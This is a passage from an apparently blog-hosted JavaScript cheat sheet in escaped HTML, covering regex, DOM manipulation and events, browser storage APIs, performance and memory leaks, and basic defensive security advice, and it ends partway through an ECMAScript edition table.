&lt;code&gt;u&lt;/code&gt; / &lt;code&gt;v&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Unicode mode (&lt;code&gt;v&lt;/code&gt; adds set operations)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sticky&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Match indices&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="sr"&gt;/.test&lt;/span&gt;&lt;span class="se"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;'abc123'&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;;                                  /&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a1b22&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="sr"&gt;+/g&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                                 &lt;span class="c1"&gt;// ['1', '22']&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2026-10-23&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;(?&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;y&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\d{4})&lt;/span&gt;&lt;span class="sr"&gt;-&lt;/span&gt;&lt;span class="se"&gt;(?&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;m&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\d{2})&lt;/span&gt;&lt;span class="sr"&gt;-&lt;/span&gt;&lt;span class="se"&gt;(?&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;d&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\d{2})&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;groups&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// '2026'&lt;/span&gt;
&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a1b22&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;matchAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="sr"&gt;+/g&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;          &lt;span class="c1"&gt;// ['1', '22']&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a-b-c&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replaceAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;+&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                          &lt;span class="c1"&gt;// 'a+b+c'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;safe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;RegExp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;RegExp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;i&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// ES2025: escape user text for a regex&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;A regex with the &lt;code&gt;g&lt;/code&gt; flag keeps &lt;code&gt;lastIndex&lt;/code&gt; between &lt;code&gt;.test()&lt;/code&gt; calls, which causes alternating true/false bugs. Do not reuse a global regex with &lt;code&gt;.test()&lt;/code&gt;.&lt;br&gt;
Beware catastrophic backtracking (ReDoS) on user input with nested quantifiers like &lt;code&gt;(a+)+$&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  20. Browser essentials (DOM and Web APIs)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Select and change the DOM
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.card&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;            &lt;span class="c1"&gt;// first match&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;all&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;li&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;           &lt;span class="c1"&gt;// NodeList (use for...of)&lt;/span&gt;

&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Safe text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                          &lt;span class="c1"&gt;// use this for user data&lt;/span&gt;
&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;b&amp;gt;HTML&amp;lt;/b&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                          &lt;span class="c1"&gt;// XSS risk with untrusted input&lt;/span&gt;
&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;classList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;classList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toggle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;open&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                         &lt;span class="c1"&gt;// reads data-id&lt;/span&gt;
&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aria-expanded&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;li&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;li&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;New&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Events
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;         &lt;span class="c1"&gt;// stop default behavior (link, form submit)&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stopPropagation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;        &lt;span class="c1"&gt;// stop bubbling&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;once&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;           &lt;span class="c1"&gt;// options: once, passive, capture, signal&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Phases:&lt;/strong&gt; capture (top to target), target, &lt;strong&gt;bubble&lt;/strong&gt; (target back up). Most events bubble.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Event delegation&lt;/strong&gt; (one listener for many children, works for items added later):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;li[data-id]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Storage and other APIs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;localStorage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Persistent key-value&lt;/td&gt;
&lt;td&gt;Strings only, sync, about 5 MB, never store secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sessionStorage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Per-tab storage&lt;/td&gt;
&lt;td&gt;Cleared when the tab closes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cookies&lt;/td&gt;
&lt;td&gt;Server-readable&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;HttpOnly&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt;, &lt;code&gt;SameSite&lt;/code&gt; for auth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IndexedDB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Large structured data&lt;/td&gt;
&lt;td&gt;Async&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fetch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;See section 15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lazy loading, infinite scroll&lt;/td&gt;
&lt;td&gt;Better than scroll listeners&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ResizeObserver&lt;/code&gt;, &lt;code&gt;MutationObserver&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Watch size or DOM changes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requestAnimationFrame&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Smooth animation&lt;/td&gt;
&lt;td&gt;Runs before the next paint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AbortController&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cancel fetch and listeners&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Web Workers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Heavy work off the main thread&lt;/td&gt;
&lt;td&gt;No DOM access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;saved&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;null&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  21. Performance and memory
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Do less work on the main thread.&lt;/strong&gt; Long tasks block clicks and rendering. Move heavy work to Web Workers or break it up.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Debounce&lt;/strong&gt; input handlers and &lt;strong&gt;throttle&lt;/strong&gt; scroll/resize handlers (section 9).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Batch DOM writes&lt;/strong&gt;, avoid reading layout (&lt;code&gt;offsetHeight&lt;/code&gt;) between writes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lazy load&lt;/strong&gt; with dynamic &lt;code&gt;import()&lt;/code&gt; and &lt;code&gt;IntersectionObserver&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;Map&lt;/code&gt;/&lt;code&gt;Set&lt;/code&gt; for lookups instead of &lt;code&gt;arr.includes&lt;/code&gt;/&lt;code&gt;arr.find&lt;/code&gt; inside loops (O(1) vs O(n)).&lt;/li&gt;
&lt;li&gt;Do not optimize without measuring: DevTools Performance and Memory tabs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Garbage collection and leaks
&lt;/h3&gt;

&lt;p&gt;JavaScript frees memory when an object is &lt;strong&gt;unreachable&lt;/strong&gt;. Leaks are things you accidentally keep reachable:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Leak&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Forgotten &lt;code&gt;setInterval&lt;/code&gt; or listeners&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;clearInterval&lt;/code&gt;, &lt;code&gt;removeEventListener&lt;/code&gt;, &lt;code&gt;AbortController&lt;/code&gt; signals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detached DOM nodes still referenced&lt;/td&gt;
&lt;td&gt;Null out references&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accidental globals (&lt;code&gt;x = 1&lt;/code&gt; without declaration)&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;const&lt;/code&gt;/&lt;code&gt;let&lt;/code&gt;, strict mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Closures holding huge data&lt;/td&gt;
&lt;td&gt;Keep only what you need&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unbounded caches&lt;/td&gt;
&lt;td&gt;Limit size, or use &lt;code&gt;WeakMap&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  22. Security basics
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;XSS:&lt;/strong&gt; never put untrusted text into &lt;code&gt;innerHTML&lt;/code&gt;, &lt;code&gt;outerHTML&lt;/code&gt;, &lt;code&gt;document.write&lt;/code&gt;, or &lt;code&gt;eval&lt;/code&gt;. Use &lt;code&gt;textContent&lt;/code&gt;, or sanitize with DOMPurify. Add a Content Security Policy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid &lt;code&gt;eval()&lt;/code&gt; and &lt;code&gt;new Function()&lt;/code&gt;&lt;/strong&gt; with any dynamic input.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prototype pollution:&lt;/strong&gt; merging untrusted JSON into objects with keys like &lt;code&gt;__proto__&lt;/code&gt; can modify &lt;code&gt;Object.prototype&lt;/code&gt;. Validate keys, use &lt;code&gt;Map&lt;/code&gt;, or &lt;code&gt;Object.create(null)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never trust the client.&lt;/strong&gt; Validate on the server too. Never ship secrets or API keys in frontend code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tokens:&lt;/strong&gt; prefer &lt;code&gt;HttpOnly&lt;/code&gt; cookies over &lt;code&gt;localStorage&lt;/code&gt; for session tokens.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain:&lt;/strong&gt; commit your lockfile, run &lt;code&gt;npm audit&lt;/code&gt;, review new dependencies, pin versions for critical packages.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ReDoS:&lt;/strong&gt; be careful with complex regex on user input.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  23. ES2015 to ES2026 at a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Edition&lt;/th&gt;
&lt;th&gt;Highlights&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2015&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;let&lt;/code&gt;/&lt;code&gt;const&lt;/code&gt;, arrow functions, classes, modules, template literals, destructuring, spread/rest, Promises, Map/Set, Symbol, generators, &lt;code&gt;for...of&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2016&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;**&lt;/code&gt;, &lt;code&gt;Array.prototype.includes&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2017&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;async&lt;/code&gt;/&lt;code&gt;await&lt;/code&gt;, &lt;code&gt;Object.values&lt;/code&gt;/&lt;code&gt;entries&lt;/code&gt;, &lt;code&gt;padStart&lt;/code&gt;/&lt;code&gt;padEnd&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2018&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Object rest/spread, async iteration, &lt;code&gt;Promise.finally&lt;/code&gt;, regex named groups, lookbehind, &lt;code&gt;s&lt;/code&gt; flag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2019&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;flat&lt;/code&gt;/&lt;code&gt;flatMap&lt;/code&gt;, &lt;code&gt;Object.fromEntries&lt;/code&gt;, optional catch binding, &lt;code&gt;trimStart&lt;/code&gt;/&lt;code&gt;trimEnd&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2020&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;?.&lt;/code&gt;, &lt;code&gt;??&lt;/code&gt;, &lt;code&gt;BigInt&lt;/code&gt;, dynamic &lt;code&gt;import()&lt;/code&gt;, &lt;code&gt;Promise.allSettled&lt;/code&gt;, &lt;code&gt;globalThis&lt;/code&gt;, &lt;code&gt;matchAll&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2021&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;replaceAll&lt;/code&gt;, &lt;code&gt;Promise.any&lt;/code&gt;, &lt;code&gt;??=&lt;/code&gt; `\&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2022&lt;/strong&gt;&lt;/td&gt;
